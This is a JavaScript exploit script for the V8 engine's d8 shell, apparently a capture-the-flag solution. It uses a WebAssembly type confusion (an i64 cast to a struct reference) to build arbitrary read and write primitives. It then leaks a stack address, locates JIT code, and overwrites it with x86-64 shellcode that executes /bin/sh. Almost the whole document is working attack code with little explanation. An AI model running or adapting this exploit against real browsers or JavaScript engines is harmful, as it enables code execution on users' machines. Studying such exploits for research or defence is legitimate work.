1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264
| class Helpers { constructor() { this.buf = new ArrayBuffer(8); this.f64 = new Float64Array(this.buf); this.f32 = new Float32Array(this.buf); this.u32 = new Uint32Array(this.buf); this.u64 = new BigUint64Array(this.buf); this.i64 = new BigInt64Array(this.buf);
this.state = {}; this.i = 0; }
// float64 → uint64 f2i(x) { this.f64[0] = x; return this.u64[0]; }
// uint64 → float64 i2f(x) { this.u64[0] = x; return this.f64[0]; }
// int to hex string hex(x) { return "0x" + x.toString(16); }
// float to hex string f2h(x) { return this.hex(this.f2i(x)); }
// float to aligned address (clear low 2 bits) f2a(x) { return this.f2i(x) >> 2n << 2n; }
// address to float (set low bit) a2f(x) { return this.i2f(x | 1n); }
// float64 → int64 (signed) f2is(x) { this.f64[0] = x; return this.i64[0]; }
// int64 → float64 (signed) i2fs(x) { this.i64[0] = x; return this.f64[0]; }
// float64 → low 32-bit f2lo(x) { this.f64[0] = x; return this.u32[0]; }
// float64 → high 32-bit f2hi(x) { this.f64[0] = x; return this.u32[1]; }
// two 32-bit → float64 i2f64(lo, hi) { this.u32[0] = lo >>> 0; this.u32[1] = hi >>> 0; return this.f64[0]; }
// int64 → low 32-bit i2lo(i) { return Number(i & 0xffffffffn); }
// int64 → high 32-bit i2hi(i) { return Number(i >> 32n); }
// float32 → int32 f32toi32(f) { this.f32[0] = f; return this.u32[0]; }
// int32 → float32 i32tof32(i) { this.u32[0] = i; return this.f32[0]; }
p(arg) { %DebugPrint(arg); }
debug(arg) { %DebugPrint(arg); %SystemBreak(); }
stop() { %SystemBreak(); }
hex32(i) { return i.toString(16).padStart(8, "0"); }
hex64(i) { return i.toString(16).padStart(16, "0"); }
hexx(str, val) { console.log(`[*] ${str}: 0x${val.toString(16)}`); }
printhex(val) { console.log("0x" + val.toString(16)); }
add_ref(obj) { this.state[this.i++] = obj; }
gc() { new Array(0x7fe00000); } }
const helpers = new Helpers();
const f2i = x => helpers.f2i(x); const i2f = x => helpers.i2f(x); const hex = x => helpers.hex(x); const f2h = x => helpers.f2h(x); const f2a = x => helpers.f2a(x); const a2f = x => helpers.a2f(x); const f2is = x => helpers.f2is(x); const i2fs = x => helpers.i2fs(x); const f2lo = x => helpers.f2lo(x); const f2hi = x => helpers.f2hi(x); const i2f64 = (lo, hi) => helpers.i2f64(lo, hi); const i2lo = x => helpers.i2lo(x); const i2hi = x => helpers.i2hi(x); const f32toi32 = x => helpers.f32toi32(x); const i32tof32 = x => helpers.i32tof32(x); const p = x => helpers.p(x); const debug = x => helpers.debug(x); const stop = () => helpers.stop(); const hex32 = x => helpers.hex32(x); const hex64 = x => helpers.hex64(x); const hexx = (str, val) => helpers.hexx(str, val); const printhex = x => helpers.printhex(x); const add_ref = x => helpers.add_ref(x); const gc = () => helpers.gc();
path = "../v8/test/mjsunit/wasm/wasm-module-builder.js"; d8.file.execute(path);
const builder = new WasmModuleBuilder();
const structType = builder.addStruct([makeField(kWasmI64, true)]); const i2s = builder.addFunction("i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)])) .addBody([ kExprLocalGet, 0, ]);
builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, i2s.index, kGCPrefix, kExprStructGet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size), ]);
builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], [])) .exportFunc() .addBody([ kExprLocalGet, 0, kExprCallFunction, i2s.index, kExprLocalGet, 1, kGCPrefix, kExprStructSet, ...wasmUnsignedLeb(structType, kMaxVarInt32Size), ...wasmUnsignedLeb(0, kMaxVarInt32Size), ]);
builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64])) .exportFunc() .addBody([ kExprI64Const, 0, ]);
const instance = builder.instantiate(); let {leak_stack, AAR, AAW} = instance.exports;
let stack_addr = leak_stack(); for(let i = 0; i < stack_addr.length; i++){ hexx("stack_addr["+i+"]", stack_addr[i]); } stack_value = stack_addr[0] << 32n | stack_addr[1]; hexx("stack_value", stack_value); //stop()
let jit_code_addr = AAR(stack_value+1n); hexx("jit_code_addr", jit_code_addr); let wasm_code = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 142, 128, 128, 128, 0, 1, 136, 128, 128, 128, 0, 0, 65, 239, 253, 182, 245, 125, 11, ]) let wasm_module = new WebAssembly.Module(wasm_code); let wasm_instance = new WebAssembly.Instance(wasm_module); let shell = wasm_instance.exports.main; let offset = 0x2940n; let rop_addr = jit_code_addr+offset;
hexx("rop_addr", rop_addr); let shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ];
shell();//start_jump_table有点类似glibc的lazy binding,第一次shell()是用于初始化的 //stop() for(let i = 0; i < shellcode.length; i++){ AAW(rop_addr+BigInt(i*0x8)+1n, shellcode[i]); }
shell();
|